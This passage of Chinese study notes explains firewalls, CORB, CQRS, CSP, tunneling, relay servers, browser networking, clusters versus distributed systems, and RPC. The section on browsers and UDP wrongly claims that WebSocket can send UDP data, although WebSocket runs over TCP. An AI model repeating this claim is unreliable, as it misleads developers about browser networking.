  3. 网络地址转换(NAT):防火墙可以使用网络地址转换技术将内部网络的IP地址转换为外部网络能够识别的IP地址,以增加网络安全性并隐藏内部网络的真实IP地址。
  4. VPN支持:防火墙通常具备虚拟专用网络(Virtual Private Network, VPN)的功能,可以提供加密的远程访问方式,使远程用户可以安全地连接到内部网络。
  5. 日志记录和监控:防火墙可以记录网络活动的详细信息,包括连接尝试、访问日志等,从而帮助管理员监控网络的安全性,并用于后期的审计和分析。
  6. 病毒和恶意软件防护:防火墙可以集成防病毒和恶意软件功能,对传入的数据包进行实时扫描和检测,以阻止潜在的恶意软件感染。

总的来说,防火墙的作用就是通过设置权限和控制网络通信来保护网络安全,防范网络攻击和数据泄漏,提高网络的稳定性和可靠性。

CORB

https://juejin.cn/post/6844903831373889550#heading-12

Cross-Origin Read Blocking (CORB)

CORB 是一种判断是否要在跨站资源数据到达页面之前阻断其到达当前站点进程中的算法,降低了敏感数据暴露的风险。 (也就是无法收到正常的response 控制台会有warnning)

当跨域请求回来的数据 MIME type 同跨域标签应有的 MIME 类型不匹配时,浏览器会启动 CORB 保护数据不被泄漏,被保护的数据类型只有 html xmljson。很明显 <script><img> 等跨域标签应有的 MIME type 和 htmlxmljson 不一样。

CQRS

后端 CQRS 模式是一种架构模式,用于将系统的读操作(Query)和写操作(Command)分离。CQRS(Command Query Responsibility Segregation)模式的核心思想是根据系统的需求将读和写操作分离成不同的逻辑层,在设计和开发系统时,将可以处理读操作的层称为查询模型(Query Model),而可以处理写操作的层称为命令模型(Command Model)。

传统的 CRUD(Create, Read, Update, Delete)模式中,读操作和写操作共享数据模型和逻辑,这可能会导致一些问题。CQRS 模式通过将读和写操作分离,可以通过优化每个模型的设计和实现来提高系统的性能、可伸缩性和可维护性。

在 CQRS 模式中,读操作通常是对数据进行查询和展示的操作,可以通过专门的查询模型来处理。查询模型可以使用不同的数据存储和检索技术,例如使用缓存、索引、预计算等方法优化查询性能。查询模型还可以独立于写模型进行水平扩展,以应对高并发查询请求。

写操作通常是对数据进行修改和更新的操作,可以通过命令模型来处理。命令模型负责处理业务逻辑,校验输入数据,更新数据模型,并触发相应的事件或通知其他系统。通过分离命令模型和查询模型,可以使系统更加灵活、可维护和可扩展。

总结来说,CQRS 模式通过将系统的读和写操作分离,可以提高系统的性能、可伸缩性和可维护性。

同时,通过专注于不同的操作类型,可以使系统更加灵活、可定制和易于扩展。

在 nest 中:

https://docs.nestjs.cn/8/recipes?id=cqrs

CSP

https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

内容安全策略( CSP ) 是附加的安全层,有助于检测和缓解某些类型的攻击,包括跨站点脚本 ( XSS ) 和数据注入攻击。这些攻击被用于从数据盗窃到站点破坏再到恶意软件分发的所有事情。

例子:

希望所有内容都来自网站自己的来源(这不包括子域。)

Content-Security-Policy: default-src 'self'

隧道技术 tunnel

网络中的隧道技术是一种将网络流量封装在另一种网络协议中传输的技术。隧道技术通过在源和目标网络之间创建一个虚拟的通信隧道,将数据包封装在另一种协议的数据包中传输,然后在目标网络上解封并路由到目标位置。

隧道技术的常见用途包括:远程访问,实现远程办公或远程管理;跨越不同网络技术的连接,如将IPv6数据传输到IPv4网络;保障数据传输的安全性,如通过虚拟私有网络(VPN)隧道加密数据传输。

常见的隧道技术包括:点对点隧道协议(例如,点对点隧道协议(PPTP)、层二隧道协议(L2TP))、安全套接层(SSL) VPN、IP隧道(如,IPSec)等。

中继服务器

中继服务器是一种位于互联网中转传输数据的服务器。它位于数据传输的路径中,接收来自发送端的数据,并将其转发给接收端,起到传输数据的中转作用。中继服务器通常用于改善数据传输的稳定性和速度,尤其是在数据传输距离较远或网络状况较差的情况下。

浏览器无法直接使用UDP

在浏览器中直接使用UDP协议发送数据是不可能的,因为浏览器通常只支持使用HTTP和HTTPS协议进行网络通信。UDP协议是无连接、不可靠的传输协议,它需要操作系统层面的支持,而浏览器通常不具备操作系统层面的权限和能力。

如果你需要在Web应用中使用UDP协议进行通信,可以考虑以下两种方式:

  1. 使用WebSocket:WebSocket是一种支持全双工通信的网络协议,可以在浏览器和服务器之间建立持久连接,并通过这个连接进行实时数据交互。WebSocket协议基于TCP协议,但可以在应用层使用UDP数据包进行通信。通过WebSocket,你可以在浏览器中使用UDP协议发送和接收数据。
  2. 使用服务器中转:在Web应用中,可以将UDP通信的功能放在一个独立的服务器上,并通过HTTP或其他协议在浏览器和服务器之间进行通信。浏览器将需要发送的数据通过HTTP请求发送到服务器上,服务器再将数据转发给UDP目标,同样道理,在UDP收到数据后,也通过服务器回传给浏览器。这种方式需要一个中转服务器来处理UDP通信和HTTP通信之间的转换。

测试网络质量

https://www.speedtest.net/

在线测试当前的网络质量

分布式与集群

https://www.zhihu.com/question/20004877

分布式是指通过网络连接的多个组件,通过交换信息协作而形成的系统。而集群,是指同一种组件的多个实例,形成的逻辑上的整体。

集群结构

单机处理到达瓶颈的时候,你就把单机复制几份,这样就构成了一个“集群”。集群中每台服务器就叫做这个集群的一个“节点”,所有节点构成了一个集群。每个节点都提供相同的服务,那么这样系统的处理能力就相当于提升了好几倍(有几个节点就相当于提升了这么多倍)。

但问题是用户的请求究竟由哪个节点来处理呢?最好能够让此时此刻负载较小的节点来处理,这样使得每个节点的压力都比较平均。要实现这个功能,就需要在所有节点之前增加一个“调度者”的角色,用户的所有请求都先交给它,然后它根据当前所有节点的负载情况,决定将这个请求交给哪个节点处理。这个“调度者”有个牛逼了名字——负载均衡服务器。

集群结构的好处就是系统扩展非常容易。如果随着你们系统业务的发展,当前的系统又支撑不住了,那么给这个集群再增加节点就行了。但是,当你的业务发展到一定程度的时候,你会发现一个问题——无论怎么增加节点,貌似整个集群性能的提升效果并不明显了。这时候,你就需要使用微服务结构了。

分布式结构

从单机结构到集群结构,你的代码基本无需要作任何修改,你要做的仅仅是多部署几台服务器,每台服务器上运行相同的代码就行了。但是,当你要从集群结构演进到微服务结构的时候,之前的那套代码就需要发生较大的改动了

所以对于新系统我们建议,系统设计之初就采用微服务架构,这样后期运维的成本更低。但如果一套老系统需要升级成微服务结构的话,那就得对代码大动干戈了。所以,对于老系统而言,究竟是继续保持集群模式,还是升级成微服务架构,这需要你们的架构师深思熟虑、权衡投入产出比。

分布式结构就是将一个完整的系统,按照业务功能,拆分成一个个独立的子系统,在分布式结构中,每个子系统就被称为“服务”。这些子系统能够独立运行在web容器中,它们之间通过RPC方式通信。

举个例子,假设需要开发一个在线商城。按照微服务的思想,我们需要按照功能模块拆分成多个独立的服务,如:用户服务、产品服务、订单服务、后台管理服务、数据分析服务等等。这一个个服务都是一个个独立的项目,可以独立运行。如果服务之间有依赖关系,那么通过RPC方式调用。

这样的好处有很多:

  1. 系统之间的耦合度大大降低,可以独立开发、独立部署、独立测试,系统与系统之间的边界非常明确,排错也变得相当容易,开发效率大大提升。
  2. 系统之间的耦合度降低,从而系统更易于扩展。我们可以针对性地扩展某些服务。假设这个商城要搞一次大促,下单量可能会大大提升,因此我们可以针对性地提升订单系统、产品系统的节点数量,而对于后台管理系统、数据分析系统而言,节点数量维持原有水平即可。
  3. 服务的复用性更高。比如,当我们将用户系统作为单独的服务后,该公司所有的产品都可以使用该系统作为用户系统,无需重复开发。

总结

  • 分布式:一个业务分拆多个子业务,部署在不同的服务器上
  • 集群:同一个业务,部署在多个服务器上

RPC

什么是RPC

https://zhuanlan.zhihu.com/p/36427583

RPC要解决的两个问题:

  1. 解决分布式系统中,服务之间的调用问题。
  2. 远程调用时,要能够像本地调用一样方便,让调用者感知不到远程调用的逻辑。